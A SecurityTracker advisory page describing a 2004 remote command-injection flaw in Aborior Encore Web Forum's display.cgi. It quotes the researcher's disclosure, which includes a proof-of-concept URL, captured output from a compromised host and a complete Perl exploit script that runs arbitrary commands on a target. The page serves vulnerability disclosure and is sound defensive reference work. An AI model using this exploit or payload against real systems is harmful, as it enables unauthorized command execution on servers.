SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


Try our Premium Alert Service
 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service





Category:   Application (Forum/Board/Portal)  >   Encore Web Forum Vendors:   Aborior
Aborior Encore Web Forum Input Validation Flaw in 'display.cgi' Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1009652
SecurityTracker URL:  http://securitytracker.com/id/1009652
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 3 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   A vulnerability was reported in Aborior's Encore Web Forum. A remote user can execute commands on the target system.

Schizoprenic from Xnuxer Research Laboratory reported that the 'display.cgi' script does not properly validate user-supplied input in the 'file' variable. A remote user can supply a specially crafted value for the 'file' parameter to execute arbitrary operating system commands on the target system.

A demonstration exploit URL is provided:

http://[target]/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|

A demonstration exploit is provided in the Source Message.

k159 from g-security is credited with discovering this flaw.

Impact:   A remote user can execute arbitrary operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.aborior.com/encore/index.shtml (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Remote Exploit for Aborior's Encore Web Forum


==================================================================
Product              : Abrior's Encore WebForum
Versions             : Unchecked (maybe version I)
Bug                  : Remote Command Execution via Display.cgi
Impact               : Attackers can execute remote command
Risk                 : Medium/High
Date                 : April 3, 2004
Bug found by         : k159 from g-security (g-security.tk)
Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory
Reference            : http://www.infosekuriti.com
Email                : xnuxer@yahoo.com, xnuxer@hackermail.com
==================================================================

Description
-------------
Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder (forumcgi).
Attacker can execute command via browser with doing request to display.cgi and 
launch command from "file" variable.

Proof Of Concept
----------------

http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|

Exploit
-------
This exploit presented by Schizoprenic from Xnuxer Research Lab.
It just for education purpose only.

[xnuxer@Server xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c "uname -a;id;uptime;"
Remote Exploit Aborior's Encore Web Forum  by Schizoprenic
Xnuxer Research Laboratory (http://www.infosekuriti.com)
Target: www.xxxxxxx.com
Path Dir: /encore/forumcgi
Command: uname -a;id;uptime;
--------------------RESULT--------------------
Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),10044(webdev)
 01:41:08  up 17 days,  6:00,  0 users,  load average: 0.00, 0.03, 0.00
----------------------------------------------

Note: The real name of domain target in example protected for security reason.

############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk

require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);

my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum  by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";

my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";

if ($response->is_success) {
     print $response->content;
} else {
     die $response->status_line;
}

print "----------------------------------------------\n";

# EOF by Xnuxer
-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2018, SecurityGlobal.net LLC